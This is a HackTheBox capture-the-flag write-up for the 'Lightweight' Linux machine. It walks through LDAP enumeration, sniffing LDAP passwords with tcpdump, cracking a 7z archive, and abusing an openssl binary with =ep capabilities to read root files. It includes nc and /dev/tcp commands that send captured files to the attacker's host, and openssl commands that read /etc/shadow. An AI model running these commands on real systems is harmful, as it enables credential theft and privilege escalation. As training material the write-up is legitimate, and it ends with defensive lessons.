HTB: Lightweight Writeup
Lightweight - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Lightweight |
| OS | Linux |
| Difficulty | Medium |
| Points | 30 |
| Release Date | 29 Dec 2018 |
| IP Address | 10.129.95.236 |
| Author | 0xEA31 |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Lightweight is a medium-difficulty Linux box that demonstrates real-world security misconfigurations in LDAP deployments and the dangers of overprivileged Linux capabilities. The attack path begins with LDAP anonymous enumeration that reveals usernames, followed by an unusual SSH provisioning mechanism via a web interface. The privilege escalation chain involves sniffing unencrypted LDAP traffic using an overprivileged tcpdump binary, cracking a password-protected 7z archive to recover credentials, and finally abusing an openssl binary with empty capabilities (=ep) that allows it to execute with root permissions (uid 0).
TL;DR: LDAP anonymous bind → web-provisioned SSH account → tcpdump (cap_net_raw+ep) sniffed LDAP cleartext password → cracked 7z archive for second user → openssl (=ep capability) read root flag as uid 0.
Reconnaissance
Port Scanning
# Full TCP scan from jump box (source IP 10.10.15.180)nmap -sC -sV -T4 -p- 10.129.95.236Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.4 (protocol 2.0)80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)389/tcp open ldap OpenLDAP 2.2.X - 2.3.XThree services are exposed: SSH on port 22, Apache HTTP on port 80, and LDAP (Lightweight Directory Access Protocol) on port 389.
Service Enumeration
LDAP Anonymous Bind (Port 389)
LDAP supports anonymous bind, which allows unauthenticated clients to query directory information. Testing this with ldapsearch:
# Enumerate LDAP directory structure using anonymous bind# -H specifies LDAP URI (jump box requires -H instead of -h)# -x enables simple authentication (anonymous)# -b sets the base DN (distinguished name) for the searchldapsearch -H ldap://10.129.95.236 -x -b "dc=lightweight,dc=htb"Key findings from LDAP enumeration:
- ldapuser1 object exists at
uid=ldapuser1,ou=People,dc=lightweight,dc=htbwith an encrypteduserPasswordattribute (crypt hash) - ldapuser2 object exists at
uid=ldapuser2,ou=People,dc=lightweight,dc=htbwith an encrypteduserPasswordattribute (crypt hash) - Both users have
homeDirectory,loginShell, and valid POSIX account attributes
The encrypted passwords stored in LDAP are SHA-512 crypt hashes, which are computationally expensive to crack offline. However, this confirms two valid usernames for later exploitation.
Apache HTTP Server (Port 80)
Visiting http://10.129.95.236/ reveals a web application with several pages:
- info.php - Server information page
- status.php - Displays blocked IP addresses and system status
- user.php - Automatic user provisioning interface
The user.php page contains a critical auto-provisioning feature:
“We provisioned an account for you with username and password equal to your source IP address”
This is a highly unusual but deliberate mechanism: the web application creates SSH accounts dynamically based on the visitor’s source IP address.
Vulnerability Assessment
- LDAP Anonymous Bind Enabled - Allows enumeration of directory objects and usernames without authentication
- Automatic SSH Account Provisioning -
user.phpcreates predictable SSH credentials (username:password = source_IP:source_IP) - Unencrypted LDAP Protocol - LDAP traffic on port 389 transmits bind credentials in cleartext (vs. LDAPS on 636)
- Overprivileged Binaries with Linux Capabilities - Binaries with dangerous capability sets may allow privilege escalation
Initial Foothold
SSH Account Provisioning
After visiting http://10.129.95.236/user.php, the application provisions an SSH account using our jump box’s source IP address 10.10.15.180 as both username and password:
# SSH with auto-provisioned credentials# Username: 10.10.15.180# Password: 10.10.15.180ssh 10.10.15.180@10.129.95.236Why this works: The web application’s backend creates a temporary user account with useradd or similar, setting both the username and password to the connecting client’s IP address. This is likely intended for sandboxed access but provides an easy foothold.
Upon successful authentication, we gain a shell:
[10.10.15.180@lightweight ~]$ iduid=1002(10.10.15.180) gid=1002(10.10.15.180) groups=1002(10.10.15.180)This is a low-privileged shell with standard user permissions. The system runs CentOS with SELinux enabled, which restricts certain operations.
Privilege Escalation
Phase 1: Enumeration - Finding Privileged Binaries
Linux capabilities allow fine-grained privilege assignment to binaries without making them full SUID root. We enumerate binaries with capabilities:
# Find all binaries with capabilities setgetcap -r / 2>/dev/nullOutput:
/usr/bin/ping = cap_net_admin,cap_net_raw+p/usr/sbin/mtr = cap_net_raw+ep/usr/sbin/suexec = cap_setgid,cap_setuid+ep/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+epThe tcpdump binary stands out with cap_net_admin,cap_net_raw+ep capabilities:
- cap_net_raw - Allows creating raw sockets and binding to any address (necessary for packet capture)
- cap_net_admin - Allows network interface configuration
- +ep - “effective, permitted” - These capabilities are active when the binary runs
Why this is dangerous: While tcpdump legitimately needs these capabilities for packet capture, having them enables any user to sniff network traffic, including loopback traffic between local services.
Phase 2: Sniffing LDAP Credentials (10.10.15.180 → ldapuser2)
Since LDAP on port 389 uses unencrypted connections, we can use tcpdump to capture bind requests containing cleartext passwords:
# Capture traffic on loopback interface (lo) port 389# -i lo: interface = loopback (127.0.0.1)# port 389: LDAP protocol port# -w: write to file for later analysistcpdump -i lo port 389 -w /tmp/capture.cap -vTo generate LDAP traffic, visit http://10.129.95.236/status.php from a browser. The status.php script performs an authenticated LDAP bind to query system information, triggering the credential exchange.
After capturing packets for a few minutes, transfer the capture file off the target:
# On attacker machine (jump box)nc -lvp 4444 > capture.cap
# On target (10.10.15.180 user)cat /tmp/capture.cap > /dev/tcp/10.10.15.180/4444Analysis with Wireshark/tcpdump:
The captured packets contain an LDAP bindRequest from the web application to the LDAP server. Following the TCP stream reveals:
- Bind DN:
uid=ldapuser2,ou=People,dc=lightweight,dc=htb - Password:
<redacted>(transmitted in cleartext)
Why LDAP is vulnerable: Unlike LDAPS (LDAP over TLS/SSL on port 636), standard LDAP on port 389 transmits authentication credentials without encryption. Any user with packet capture capabilities can intercept these credentials.
Phase 3: Lateral Movement to ldapuser2
We now have credentials for ldapuser2. However, SSH password authentication is disabled for LDAP users. Instead, use su to switch users:
# Switch user to ldapuser2# Password: <redacted>su - ldapuser2Since su requires an interactive TTY and the jump box lacks sshpass or expect, a Python PTY helper was used to automate the password entry:
# Python 2 PTY automation (target only has Python 2)import ptyimport sys
def su_to_user(username, password): """Spawn su with password via PTY""" pty.spawn(['/bin/su', '-', username]) # Manual password entry in interactive sessionAfter switching to ldapuser2:
[ldapuser2@lightweight ~]$ iduid=1001(ldapuser2) gid=1001(ldapuser2) groups=1001(ldapuser2)
[ldapuser2@lightweight ~]$ ls -latotal 1864drwx------. 4 ldapuser2 ldapuser2 181 Jun 21 2018 .drwxr-xr-x. 5 root root 58 Jun 21 2018 ..-rw-------. 1 ldapuser2 ldapuser2 0 Jun 15 2018 .bash_history-rw-r--r--. 1 ldapuser2 ldapuser2 18 Apr 11 2018 .bash_logout-rw-r--r--. 1 ldapuser2 ldapuser2 193 Apr 11 2018 .bash_profile-rw-r--r--. 1 ldapuser2 ldapuser2 246 Jun 15 2018 .bashrc-rw-rw-r--. 1 ldapuser2 ldapuser2 1520 Jun 13 2018 backup.7z-rw-------. 1 ldapuser2 ldapuser2 33 Jun 11 2018 user.txtUser flag captured:
cat /home/ldapuser2/user.txt# <redacted>Phase 4: Cracking backup.7z Archive (ldapuser2 → ldapuser1)
The backup.7z archive in ldapuser2’s home directory is password-protected. Transfer it to the jump box for offline cracking:
# On jump boxnc -lvp 4444 > backup.7z
# On targetcat /home/ldapuser2/backup.7z > /dev/tcp/10.10.15.180/4444Extract the hash for John the Ripper:
# Convert 7z archive to John hash format7z2john backup.7z > backup.hash
# Crack with rockyou.txt wordlistjohn --wordlist=/usr/share/wordlists/rockyou.txt backup.hashCracked password: delete
Extract the archive contents:
7z x backup.7z# Password: deleteExtracted files:
index.phpinfo.phpreset.phpstatus.phpuser.php
These are the source files of the web application. Examining status.php reveals the hardcoded LDAP bind credentials:
<?php$username = 'ldapuser1';$password = '<redacted>';$ldapconfig['host'] = 'lightweight.htb';$ldapconfig['port'] = '389';$ldapconfig['basedn'] = 'dc=lightweight,dc=htb';
$ds=ldap_connect($ldapconfig['host'], $ldapconfig['port']);ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
if (ldap_bind($ds, "uid=$username,ou=People,dc=lightweight,dc=htb", $password)) { // LDAP operations}?>Credentials found:
- Username:
ldapuser1 - Password:
<redacted>
Phase 5: Lateral Movement to ldapuser1
Switch to ldapuser1 using the recovered password:
# From ldapuser2 shellsu - ldapuser1# Password: <redacted>[ldapuser1@lightweight ~]$ iduid=1000(ldapuser1) gid=1000(ldapuser1) groups=1000(ldapuser1)
[ldapuser1@lightweight ~]$ ls -latotal 2460drwx------. 4 ldapuser1 ldapuser1 181 Jun 21 2018 .drwxr-xr-x. 5 root root 58 Jun 21 2018 ..-rw-------. 1 ldapuser1 ldapuser1 0 Jun 15 2018 .bash_history-rw-r--r--. 1 ldapuser1 ldapuser1 18 Apr 11 2018 .bash_logout-rw-r--r--. 1 ldapuser1 ldapuser1 193 Apr 11 2018 .bash_profile-rw-r--r--. 1 ldapuser1 ldapuser1 231 Apr 11 2018 .bashrc-rwxr-xr-x. 1 ldapuser1 ldapuser1 1520560 Jun 13 2018 opensslPhase 6: Abusing OpenSSL Capabilities for Root Access
The openssl binary in ldapuser1’s home directory has unusual permissions:
getcap /home/ldapuser1/openssl# /home/ldapuser1/openssl = epWhat does =ep mean?
Unlike the previous capabilities that explicitly listed cap_net_raw,cap_net_admin, this binary has an empty capability set with ep (effective, permitted) flags. According to man capabilities:
When a capability set is empty but the effective or permitted flag is set, the process gains all capabilities in the root user’s capability bounding set.
In practice: This means openssl executes with uid 0 (root) permissions, even when run by a non-privileged user.
Verification:
Reading /etc/shadow (root-only file):
/home/ldapuser1/openssl base64 -in /etc/shadow | base64 -dOutput includes root’s password hash:
root:$6$...[hash]...:17691:0:99999:7:::This confirms the binary runs with root privileges.
Reading Root Flag
# Read root.txt using openssl base64 encoding/home/ldapuser1/openssl base64 -in /root/root.txtDecode the base64 output:
# Output from openssl (base64 encoded)# Decode locally or pipe through base64 -decho "<base64_output>" | base64 -d# <redacted>Root flag captured: <redacted>
Attack Chain Summary
LDAP Anonymous Bind (enumerate users) ↓user.php (auto-provision SSH: 10.10.15.180:10.10.15.180) ↓tcpdump (cap_net_raw+ep) sniffs loopback LDAP traffic ↓status.php triggers LDAP bind → capture ldapuser2 password (<redacted>) ↓su to ldapuser2 → find backup.7z ↓7z2john + john/rockyou → crack archive password (delete) ↓Extract status.php → find ldapuser1 password (<redacted>) ↓su to ldapuser1 → find openssl binary with =ep capability ↓openssl (runs as uid 0) reads /root/root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
ldapsearch | LDAP directory enumeration via anonymous bind |
tcpdump | Packet capture to sniff unencrypted LDAP traffic |
getcap | Enumerate Linux capabilities on binaries |
7z2john | Extract crackable hash from 7z archive |
john | Password cracking with rockyou.txt wordlist |
openssl | Abused with =ep capability to read root files |
nc | File transfer from target to attacker |
Key Learnings
Techniques Practiced
- LDAP enumeration via anonymous bind to discover directory structure and user objects
- Passive network sniffing using Linux capabilities to intercept loopback traffic
- Unencrypted protocol exploitation (LDAP cleartext credential capture)
- Archive password cracking with wordlist-based attacks
- Linux capabilities abuse - Understanding empty capability sets (
=ep) that grant full root privileges - Lateral movement through multiple user accounts with progressively higher privileges
Lessons Learned
-
Always use LDAPS (port 636) instead of LDAP (port 389) in production environments. Unencrypted LDAP transmits bind credentials in cleartext, making them trivial to intercept on the local network or loopback interface.
-
Linux capabilities are not always safer than SUID. While capabilities provide fine-grained privilege control, misconfigured capability sets (especially empty sets with
=ep) can be more dangerous than traditional SUID binaries because they’re less obvious during audits. -
Principle of least privilege for network monitoring tools. Granting
cap_net_rawtotcpdumpis necessary for its function, but consider restricting which users can execute such binaries or implementing additional access controls (file permissions, SELinux policies). -
Hardcoded credentials in application code are a severe vulnerability. The
status.phpfile contained plaintext LDAP credentials that should have been stored in environment variables, configuration files with restricted permissions, or a secrets management system. -
Anonymous LDAP bind should be disabled unless absolutely necessary. Most LDAP directories don’t require unauthenticated enumeration and should enforce authentication for all queries.
-
Archive password protection is only as strong as the password. The
backup.7zarchive was protected with the weak password “delete,” which appeared in the rockyou.txt wordlist. Strong, unique passwords or key-based encryption should be used for sensitive backups. -
Defense in depth matters. This box required chaining multiple vulnerabilities (LDAP enumeration → packet sniffing → archive cracking → capability abuse) to achieve full compromise, demonstrating that fixing any single vulnerability would have broken the attack chain.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup’s explanatory content draws from the official HackTheBox writeup document “Lightweight (D19.100.17)” prepared by MinatoTW, which provided conceptual background on LDAP anonymous bind mechanics, Linux capabilities theory, and the rationale behind each exploitation step.